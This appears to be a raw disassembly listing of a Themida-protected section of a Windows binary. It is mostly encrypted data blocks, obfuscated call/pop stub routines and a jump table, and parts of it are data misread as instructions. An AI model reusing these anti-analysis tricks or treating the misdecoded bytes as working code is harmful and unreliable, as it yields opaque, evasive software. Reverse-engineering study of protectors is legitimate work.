		dd 0D480E9h, 0B9800000h, 2A02D718h, 421CC35Ch, 53C20009h
		dd 7E5B0305h, 2D620980h, 4A832AB1h, 0B355E456h,	16AC5774h
		dd 346DCC5Fh, 0DD65243Ah, 396DCC5Fh, 8420D734h,	7EB5C75h
		dd 73B251F2h, 92BB95CEh, 0B1F71168h, 249AAF4Eh,	0BFB3F495h
		dd 36EA1FC8h, 0AE62D983h, 2AC95A6Fh, 47195A0Bh,	440B1B06h
		dd 688523DFh, 0EAC667EEh, 3BE70B42h, 0D66C1F41h, 2E6DCC29h
		dd 0CBB7F497h, 17CC8B67h, 9236FDDAh, 80289F53h,	863E5D49h
		dd 3B4A34Fh, 3BF6606Ch,	8BCC7DA4h, 65A448CFh, 0BD6AFDB1h
		dd 578C3309h, 0F7ABC7ABh, 38EC2DE0h, 507C13AEh,	83A241D0h
		dd 0AF26A2E1h, 85D4C0FBh, 6DCC2938h, 38F99827h,	0F9E35792h
		dd 299E24E7h, 55546DCCh, 6DCC29EDh, 0F9752D09h,	7C3248E4h
		dd 90365541h, 822AA155h, 8740574Bh, 7D349E52h, 7E1DDAE6h
		dd 4D883EE7h, 141DA91h,	46396DCCh, 336B2E6Ah, 0FFFF074Ch
		dd 0BD5CBEFFh, 3C5D4C1Eh, 0CA67FC0Ch, 11C8A24Eh, 0EF731F60h
		dd 75AA61DAh, 548942B9h, 498629A0h, 0E281225Dh,	14CC9C43h
		dd 0B645F9DDh, 7D2CD80Dh, 94238CC0h, 4AEB8A19h,	0C7926CA1h
		dd 490DEA21h, 0AE419D2h, 0B5619A4Fh, 90EA9CB1h,	39ED22C9h
		dd 36BD203Dh, 3BE0CBA5h, 0CB9E13D6h, 6F86DB4Fh,	3BEE1BD1h
		dd 9E13BA87h, 3DF035Fh,	339442E9h, 304E9428h, 431C979h
		dd 1C312D80h, 7F160A66h, 7854F5CBh, 84E094D5h, 0B7027B60h
		dd 8C72D051h, 0C165F468h, 534A087Dh, 0BFA36BBDh, 0AA4384D3h
		dd 33C43CE0h, 1BF1959Ch, 58532D66h, 0F4282DEAh,	76320E0Ah
		dd 386F15A4h, 0B4F59823h, 0EA25C9C0h, 0ED136D36h, 282D843Eh
		dd 0DDEF2BF4h, 1E694A6Ch, 46D5F26Eh, 71874AAFh,	0C0679986h
		dd 59000000h, 3EF2EE2h,	0C4A0E184h, 4D71DA7h, 8E45225Fh
		dd 0A0CD9FD6h, 0CA27C534h, 0F9BD9AC5h, 1692CB82h, 0FBAFEC9Fh
		dd 9893C87Ch, 6DCCA52Ah, 0B6724ECAh, 0DA4E8D3Fh, 0F569AA5Bh
		dd 9C8FC066h, 6DCCA526h, 6C7E62BEh, 5BD6C92h, 0E16DCCA5h
		dd 0A52C9685h, 63C86DCCh, 0ECCA58Fh, 0B76E52A2h, 3A04D912h
		dd 5BCF04BBh, 16AC5F81h, 276DCC67h, 0D7534B80h,	62973902h
		dd 10F734D7h, 6DCC67B2h, 0A85FD652h, 0B8A34F73h, 0FF34EBEAh
		dd 53F28113h, 5A845A66h, 0CC6713AFh, 6277F36Dh,	0CC6719A9h
		dd 0AD21FD6Dh, 97F3E4C2h, 49000000h, 7C68CBE0h,	29D86DCCh
		dd 0E289508Ah, 84F6D0ADh, 2DD90EB5h, 32983449h,	1087437Ah
		dd 2DAC2059h, 9F813D7Ah, 533F0CAEh, 0F1989A2Dh,	0F4BF9CB8h
		dd 1E9D1150h, 28AF2B6Ah, 11884485h, 0C57D2C5Dh,	216DCC68h
		dd 8C4F2145h, 8DE99DD4h, 0EA14E670h, 0CC68833Fh, 0F207636Dh
		dd 738DC269h, 11E5427Ah, 638819DCh, 8316B049h, 4E08E541h
		dd 25D5h, 0C805DB00h, 2D830CD0h, 0FE443392h, 166DCC70h
		dd 0CD3D2D1Ah, 82E9E216h, 215FDF65h, 7CF64C3Fh,	120E6DCCh
		dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 51CF5541h
		dd 0C181E189h, 4, 4BB53h, 0D9290000h, 240C875Bh, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243489h,	7482h
		dd 55241489h, 17791E68h, 0EE895D06h, 4EC815Dh, 89000000h
		dd 4832424h, 815A0424h,	4ECh, 24348900h, 0E242C81h, 8F06D651h
		dd 42810842h, 0D6510E08h, 2434FF06h, 4C4815Ah, 0FF000000h
		dd 835E2434h, 0FDE904C4h, 4FFF900h, 0B8E13AEFh,	6177EF4h
		dd 0D38BC503h, 2AE9h, 2404C700h, 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 6177F8Eh
		mov	eax, [esp+4]
		mov	[ebp+6101911h],	eax
		mov	eax, 0
		lea	ecx, [ebp+6104E85h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	short loc_5C3434
; ---------------------------------------------------------------------------
		align 10h
		dd 4 dup(0)
		dd 1010000h
; ---------------------------------------------------------------------------


loc_5C3434:				; CODE XREF: Themida_:005C341Cj
		insb
		add	eax, [eax]
		add	[edi], dl
		push	es
		push	0
		push	eax
		call	sub_5C3445
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3445	proc near		; CODE XREF: Themida_:005C343Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C3445	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [edx-769F9FF5h], 0FFFFFFB5h
		and	eax, 66061020h
		xor	ebx, 0F618A96h
		mov	bh, 0C6h
		popa
		push	eax
		jmp	loc_5C3479
; ---------------------------------------------------------------------------
		dd 1E1D438Bh, 39B3AA3Ah
		db 0E1h
; ---------------------------------------------------------------------------


loc_5C3479:				; CODE XREF: Themida_:005C346Bj
		mov	[esp], eax


loc_5C347C:				; CODE XREF: Themida_:005C34EDj
		push	0
		push	ebp
		call	sub_5C3487
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3487	proc near		; CODE XREF: Themida_:005C347Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C3487	endp

; ---------------------------------------------------------------------------
aUXMFb_j	db 'ãÃ*Óå[Œ]šÒfßÕ.j',0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C34B3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C34B3	proc near		; CODE XREF: Themida_:005C34ABp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C34B3	endp

; ---------------------------------------------------------------------------
		setalc
		enter	66B7h, 0BFh
		pop	ebp
		dec	ebx
		push	0
		push	0
		push	edi
		call	sub_5C34D7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C34D7	proc near		; CODE XREF: Themida_:005C34CFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C34D7	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:6F5AE042h
		inc	ebx
		loope	loc_5C347C
		test	[ebp-7Fh], eax
		pop	ss
		push	es
		jb	loc_5C34FD
		movsx	edi, ax


loc_5C34FD:				; CODE XREF: Themida_:005C34F4j
		nop
		jge	$+6
		push	eax
		jbe	$+6
		nop
		push	0
		push	ebx
		call	sub_5C3517
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3517	proc near		; CODE XREF: Themida_:005C350Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5C3517	endp

; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
		and	edi, ds:0F3D89CAAh
		push	0
		pusha
		mov	edx, 45BDDE5Eh
		mov	[ebp+6101FA9h],	ecx
		popa
		push	0
		push	0
		push	ebx
		call	sub_5C354A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C354A	proc near		; CODE XREF: Themida_:005C3542p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C354A	endp

; ---------------------------------------------------------------------------
		dw 0A876h
		dd 93E6B22Bh, 77A5CF49h, 0C8D0Fh, 820F0000h, 6,	6058D03h
		dd 8B660610h, 1995FFFAh, 0B706101Dh, 562E9E6h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F87B5DC3h, 68A0Fh, 8D0B0000h, 6102309h, 0E8h, 0ED815D00h
		dd 617814Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	48C35141h, 2CB2621h, 6AE5B50Bh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3865C351h
		dd 0BD8B5444h, 6101C99h, 4E8h, 0FA000h,	0BE85100h, 6000000h
		dd 0E11756D6h, 0B072A28Eh, 7E8B2F8h, 0C6000000h, 1A81BEE0h
		dd 5A5A743Fh, 0F88B505Bh, 424448Bh, 310F5250h, 0F6BF5250h
		dd 0F476EB2h, 5299B931h, 585A2D17h, 8B585Ah, 10E8h, 0CA525100h
		dd 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 0DE963h, 0EF1E0000h
		dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 4244489h, 4860Fh, 60600000h
		dd 52586161h, 860Fh, 0FF5B0000h, 1031C995h, 0A8E28006h
		dd 7FB3B58Dh, 8B660617h, 5206C7D0h, 0BF6D6765h,	7C80DDF7h
		dd 0EE8h, 0A9010100h, 0FCF2A1FAh, 2026B4BFh, 0E8AB32E4h
		dd 7, 0E2441EDFh, 669F34A7h, 5AA617B9h,	446C75Fh, 6C636E6Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h
		dd 95BA66ADh, 846C7DBh,	737361h, 9537C381h, 6A586Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C9C35545h, 0B5896FDFh
		dd 6102AE9h, 7FB3858Dh,	6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C32E7DC3h, 1CC99D8Bh
		dd 50900610h, 0FCC8A52h, 10E931h, 26040000h, 61DAE570h
		dd 0CD5E6169h, 16C959CFh, 585A6AE9h, 52505250h,	310FDD8Ah
		dd 5ACA8B66h, 33905B58h, 1015A98Dh, 18F0F06h, 0F5000000h
		dd 22D595FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 605326C3h, 0DE9h, 0AF316A00h, 19D58F88h
		dd 0DB8D755Eh, 850F1545h, 6, 16FD8D23h,	0B610610h, 30840FC0h
		dd 3000000h, 1012C1BDh,	2A6E906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 52D695C3h
		dd 6723DF81h, 68590B86h, 0E2DB699Eh, 0F505250h,	8Bh, 310F5900h
		dd 295B3AB9h, 81585A22h, 978E2404h, 0FF81D24h, 95FFD0B7h
		dd 61031C9h, 6558D8Bh, 0B58D0610h, 6177FB3h, 72A2F5B9h
		dd 3106C723h, 6A363438h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 6571C352h, 66BCDE50h
		dd 8BDD86B9h, 446C7D6h,	31342D37h, 0E79BD8Bh, 8B0F0610h
		dd 8, 2850Fh, 0FE8B0000h, 846C7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 7351C355h, 0FDAC27B1h, 6AF578h, 0B5B52952h, 5F061021h
		dd 7FB3858Dh, 0B5890617h, 6102F35h, 8B5036B3h, 240489FBh
		dd 0A658D8Bh, 95FF0610h, 61022D5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 3BC35747h, 0E3981457h, 840FC00Bh
		dd 32h,	6D44DB81h, 79E94CCDh, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8B35C357h
		dd 9D011982h, 61013D9h,	4E840B3h, 2C000000h, 66000001h
		dd 8B50CA8Bh, 0E8042444h, 9, 784AEADAh,	0F04E443Ah, 8B52508Fh
		dd 0BB310FDFh, 7ACF8874h, 8B5F585Ah, 89DA8B00h,	0BF042444h
		dd 59ACFAD4h, 0F9BF0F58h, 31C995FFh, 0F5600610h, 23098589h
		dd 8D610610h, 177FB3B5h, 0D38B6606h, 694606C7h,	8D33656Ch
		dd 61010C9h, 6D0446C7h,	29636E6Fh, 102E5D95h, 846C706h
		dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	51C35343h, 16FCFB83h, 0C46C7h, 66000000h, 0DF03E381h
		dd 0D98B006Ah, 7FB3858Dh, 81660617h, 50180DF1h,	4896CB6h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0BAA1B2FCh, 9CE0B491h, 9504C2Eh,	101DB1B5h
		dd 95FF5F06h, 61022D5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 54C35545h, 0D22A40C0h
; ---------------------------------------------------------------------------


loc_5C3A40:				; DATA XREF: ___:off_438438o
					; ___:off_43A570o ...
		xor	ebx, [ebp+6101C51h]
		or	eax, eax
		jz	loc_5C3A5A
		mov	[ebp+6101E01h],	ecx
		jmp	loc_5C3A88
; ---------------------------------------------------------------------------
		cld


loc_5C3A5A:				; CODE XREF: Themida_:005C3A48j
		jmp	near ptr dword_5C355C+54h
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5C3A6A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3A6A	proc near		; CODE XREF: Themida_:005C3A62p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C3A6A	endp

; ---------------------------------------------------------------------------
		add	byte ptr [eax],	31h
		test	[ebp+1Ch], edi
		adc	[esi], al
		mov	[ebp+6101D25h],	ebx


loc_5C3A88:				; CODE XREF: Themida_:005C3A54j
		lea	esi, [ebp+61073A3h]
		and	cx, 8366h
		or	[ebp+6103161h],	ecx
		mov	eax, 0
		push	0
		push	ecx
		call	sub_5C3AA9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3AA9	proc near		; CODE XREF: Themida_:005C3AA1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C3AA9	endp

; ---------------------------------------------------------------------------
		add	ebx, [ecx+4D8D897Eh]
		adc	edx, [eax]
		push	es
		jmp	esi
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C3ACF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3ACF	proc near		; CODE XREF: Themida_:005C3AC7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5C3ACF	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 0C5B557A2h, 7AB5B031h, 6E8C18Bh, 6E000000h, 92FF0277h
		dd 1DBD8B9Fh, 5A061017h, 0C28116B5h, 6D4Dh, 0C458D8Bh
		dd 680610h, 66000000h, 0F58C88Bh, 682h,	259D2300h, 0FF06100Fh
		dd 9D891034h, 6102E69h,	0FB8B665Eh, 4D56C681h, 0B5315F00h
		dd 61006B5h, 4C37EE81h,	8B607B32h, 1008D58Dh, 0C1BD2906h
		dd 6106101Bh, 6B15F681h, 8B0F6136h, 0Eh, 7E8h, 0A0572700h
		dd 0BCC7DFF1h, 8B565FFCh, 1013898Dh, 2048F06h, 0F296E881h
		dd 8B6607F6h, 92C081FEh, 6607F6F2h, 817714B9h, 0FF9388F8h
		dd 1F850FFFh, 89000000h, 100EE5B5h, 2EE906h, 8CC90000h
		dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 5E176D8Dh, 0BD8B582Bh
		dd 610239Dh, 0FFFF66E9h, 5AD351FFh, 0D7627D50h,	0F2F87003h
		dd 0F08FFD2Dh, 75FDED55h, 76F67A5Eh, 56E669A4h,	83FD49BCh
		dd 0E1FD26F4h, 26FD26DAh, 84FD26CDh, 76FD2644h,	6CFD2682h
		dd 35FD2660h, 2AFD2611h, 1FD26A9h, 4CFD26F5h, 5FD26DAh
		dd 7EFD26CDh, 0DBFD2639h, 0B8FD2682h, 85FD2660h, 41FD2611h
		dd 95FD26D7h, 9DFD26F4h, 95358A25h, 76D6A222h, 5CDE714Ah
		dd 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh
		dd 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh
		dd 75A6ED8Fh, 75A6E227h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h
		dd 75F8B290h, 0F0701ABCh, 73EAF12Bh, 0F251FFA6h, 0F0707C80h
		dd 73EAF140h, 0F291FF6Ch, 0F0707CE5h, 73EAF1B0h, 0F255FF35h
		dd 0F0707C49h, 73EAF106h, 0F28DFF1Eh, 0F0707CDCh, 73EAF00Dh
		dd 0F289FF7Bh, 0F0707C6Eh, 73EAF33Ah, 0F285FFD7h, 0F0707C38h
		dd 73EAF30Fh, 0F281FF42h, 0F0707CF2h, 73EAF35Ch, 0F27DFFF0h
		dd 0F0707CABh, 73EAF057h, 0F271FFA6h, 0F0707C80h, 73EAF31Eh
		dd 0F279FF6Ch, 0F0707CE5h, 73EAF38Dh, 0F275FF35h, 0F0707C49h
		dd 73EAF026h, 0F271FF1Eh, 0F0707CDCh, 73EAF0A6h, 0F261FF7Bh
		dd 0F0707C6Eh, 73EAF0DEh, 0F25DFFD7h, 0F0707C38h, 73EAF012h
		dd 0F259FF42h, 0F0707CF2h, 73EAF03Ch, 0F26DFFF0h, 0F0707CABh
		dd 73EAF15Bh, 0F269FFA6h, 0F0707C80h, 73EAF16Bh, 0F265FF6Ch
		dd 0F0767CE5h, 73ED66D8h, 0F218FF35h, 0F0767C49h, 73ED64CAh
		dd 0F214FF1Eh, 0B69C7CDCh, 9D11F1B0h, 75FD7AF2h, 8C17FB23h
		dd 25FB6D34h, 0FDF53FD5h, 627A9EADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73EAF3A6h, 0F296FFA0h
		dd 0C87D7C38h, 73EAFDFCh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h
		dd 0F214EF86h, 0FEBD7CABh, 7A452B96h, 8AFD7A2Fh, 627A9302h
		dd 1948F7CDh, 0F8FB6D62h, 9D50FCC6h, 75FD7E4Bh,	76456FCFh
		dd 8AFD7A5Eh, 627A93BAh, 1948F791h, 0F8FB6D4Ch,	8A50FCD1h
		dd 0BC1F2322h, 0F296F787h, 2DA07CABh, 2CA32005h, 776D92ECh
		dd 0CD4D7A97h, 8A5779C1h, 627A9F70h, 9D3ED1F4h,	75FD7807h
		dd 0CD9BC2DAh, 0DE9B5954h, 0F218EFD0h, 0DE9B7C80h, 77959208h
		dd 360B7AE5h, 6E8872F3h, 0F218EF86h, 0C54D7CABh, 8AAD7954h
		dd 627A9FBAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah
		dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h
		dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah,	4EA77ABCh
		dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh
		dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h
		dd 0F5DF7094h, 0FF4DBA07h, 906885B5h, 2FFB6D75h, 51FD5F1Fh
		dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h
		dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh
		dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah
		dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh,	75FD7A69h
		dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h,	0DFFD7ABCh
		dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h
		dd 0F214EF0Dh, 0C0707C6Eh, 73EAFD0Ch, 7F518A5Dh, 0E002D02Ch
		dd 73EAFD72h, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh
		dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h,	8BE19261h
		dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh
		dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah
		dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h,	0F29FFF69h
		dd 0C87D7CDCh, 73EAFD87h, 0F8EC0FF3h, 627AAEFCh, 61152ABAh
		dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh
		dd 0DF9CCA0Dh, 0F29FF787h, 0C87D7CABh, 73EAFD3Ch, 0F8F10F2Fh
		dd 627AAE12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 9C688579h
		dd 0F8FB6D3Bh, 62714BC3h, 6DF9F029h, 9C4DB93Dh,	9D562D61h
		dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 627A9FCBh
		dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh,	9DAE7AF2h
		dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0F218EF68h
		dd 917D7CDCh, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h
		dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 627A9370h
		dd 0BD60F7F4h, 0F8FB6DFEh, 0CD3E39A0h, 75FD7A4Eh, 0F214EFD0h
		dd 0B57E7C80h, 8935F1CEh, 0F218EF1Ah, 97577CE5h, 0BE15B98Eh
		dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh,	0B61608CBh
		dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh,	3417FB04h
		dd 0FCFB6DA3h, 0CF7D86EAh, 73EAFD2Fh, 0EC7975E5h, 0CDFD7AF2h
		dd 75FD7A73h, 0F214E843h, 0FCBD7C49h, 627A97ADh, 0F835F191h
		dd 62706F79h, 906F85E3h, 0FDFB6D75h, 801F3C7Fh,	75FD6D04h
		dd 987F795Eh, 35FB6DA8h, 0F8F4E01Ah, 0B67E7CDCh, 22FEF3E1h
		dd 75FD644Bh, 98777979h, 0F8FB6D3Bh, 62718DECh,	2B598929h
		dd 75FD722Fh, 9C6F85CBh, 0F6FB6D62h, 85897E0Ah,	72447C71h
		dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh,	44E172CBh
		dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h
		dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh
		dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h
		dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h,	0FEA87ABCh
		dd 75151AB2h, 2FFD7A2Fh, 0F8D59016h, 0CF707CDCh, 73EAFD14h
		dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0F20CE7A2h
		dd 497D7C80h, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h
		dd 75FD7ABCh, 1417FB04h, 0F8FB6DA2h, 627A8B25h,	7D80F1CDh
		dd 75FD725Ch, 145989F2h, 75F9B8B0h, 8440F7DCh, 46FB6DD9h
		dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 627A8B58h, 74C2FBF4h
		dd 0FC7B78h, 7182FBB0h,	74FC7B5Fh, 9E04795Ah, 0B69C8296h
		dd 8440F7ABh, 0CDFB6D62h, 75FD7AF3h, 75FD72C0h,	145789BCh
		dd 0FE3DF19Dh, 8B78F7EFh, 8AFB6D10h, 0E8CA8BD0h, 11h, 5F0641EDh
		dd 391406B4h, 85A922CCh, 0E1A13BD4h, 8B6650F0h,	81585AD3h
		dd 0E521D4CAh, 0D3C08126h, 0E90000D9h, 14h, 0E8988340h
		dd 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 0BBh
		dd 78E0F00h, 0F000000h,	185h, 3C8BF500h, 81D18B18h, 797BBBC7h
		dd 1FD1814Ch, 810B77C8h, 500389EFh, 0FE944h, 458E0000h
		dd 0C5B652Ah, 77914F93h, 0B759D54Fh, 78C7816Fh,	0F50FB4Ch
		dd 0C88h, 68C0F00h, 81000000h, 11FEA7DEh, 8E95729h, 0F7000000h
		dd 819643EEh, 8F0C6782h
		dd 0DA801804h, 8392B29Ch, 0B70F02EBh, 0F4B4BF6h, 188h
		dd 0FB81F800h, 0FFFF26F0h, 0FF8C850Fh, 0A3BEFFFFh, 0E9078A9Ch
		dd 30h,	2971F1F7h, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5C50EE
; ---------------------------------------------------------------------------
		push	61790DDh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6179235h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61792D6h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6179359h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61796CCh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61799B0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6179ABCh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 16h
; ---------------------------------------------------------------------------
		jz	short loc_5C43BB


loc_5C438A:				; CODE XREF: Themida_:loc_5C438Aj
		jge	short loc_5C438A
		inc	esi
		setnp	byte ptr ds:8629B02Ch
		dec	ecx
		xchg	eax, ebp
		push	es
; ---------------------------------------------------------------------------
		dd 0C1A72362h, 36751745h, 1152F382h, 2D681E9Dh,	4C812AB1h
		dd 0E8A39D90h, 6BDBF35Ah, 3257DDBAh
; ---------------------------------------------------------------------------
		jle	short loc_5C43F9
		push	ebx


loc_5C43BB:				; CODE XREF: Themida_:005C4388j
		fldenv	byte ptr [edx-52h]
		outsd
		pop	edx
		loope	near ptr loc_5C43EB+4
		push	edi
		mov	ah, 77h
		mov	esp, [edi+23B20FCBh]
		mov	eax, 0DE6E3A6h
		cld
		and	[si+2Ah], al
		push	esp
		push	ebp
		in	eax, dx
		xchg	eax, edx
		and	edx, [ecx+ecx-23B1AFD3h]
		add	al, [edi]
		mov	ebx, 94942392h
		in	eax, dx
		mov	ah, 0BCh
		pusha


loc_5C43EB:				; CODE XREF: Themida_:005C43C0j
		mov	esp, [eax-6BDC6DDAh]
		lds	ebp, [esi+3BFFD217h]
		jnp	short loc_5C4432


loc_5C43F9:				; CODE XREF: Themida_:005C43B8j
		fbld	tbyte ptr ds:2D000000h
		pop	esp
		mov	ebp, 0A7324C1Eh
		add	edx, ecx
		lodsd
		test	byte ptr [ebp+2Dh], 0FCh
		db	67h
		test	eax, 3492D9CDh
		mov	bl, 23h
		xchg	eax, esp
		xlat
		pushf
		add	eax, 7B670DE0h
		cmp	ebp, ebp
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 405F0000h, 89Bh, 4479328Ch, 5D923950h
		db 0E1h, 0FFh
; ---------------------------------------------------------------------------


loc_5C4432:				; CODE XREF: Themida_:005C43F7j
		cmp	al, 88h
		dec	ecx
		xchg	eax, edx
		fsub	qword ptr [ecx+419A39CCh]
		das
		push	ecx
		mov	ah, bl
		stosb
		int	0D6h		; used by BASIC	while in interpreter
		cmc
		adc	esp, edi
		adc	[di], edx
		popa
		cmp	cl, [esi+edx*4+546F9423h]
		mov	ebp, 0B2EBA219h
		xchg	eax, ebp
		loop	loc_5C4468
		inc	eax
		jnp	short loc_5C4495
		out	dx, eax
		inc	eax
; ---------------------------------------------------------------------------
		dw 0
		dd 0BD5C5D00h, 0D78D4C1Eh
; ---------------------------------------------------------------------------


loc_5C4468:				; CODE XREF: Themida_:005C4457j
					; Themida_:005C446Dj
		mov	al, ds:0DDF6B5CBh
		jl	short near ptr loc_5C4468+3
		cmp	[di], edi
		dec	ecx
		and	ah, [ebx+eax*4-16B86BDDh]
		pop	ss
		adc	al, 0AEh
		and	dword ptr [ebx], 0FFFFFF94h
		inc	esi
		jmp	far ptr	367Fh:52972E0Dh
; ---------------------------------------------------------------------------
		dd 0FEEF397Bh, 11F2F069h, 7A314BCAh
		db 0C8h
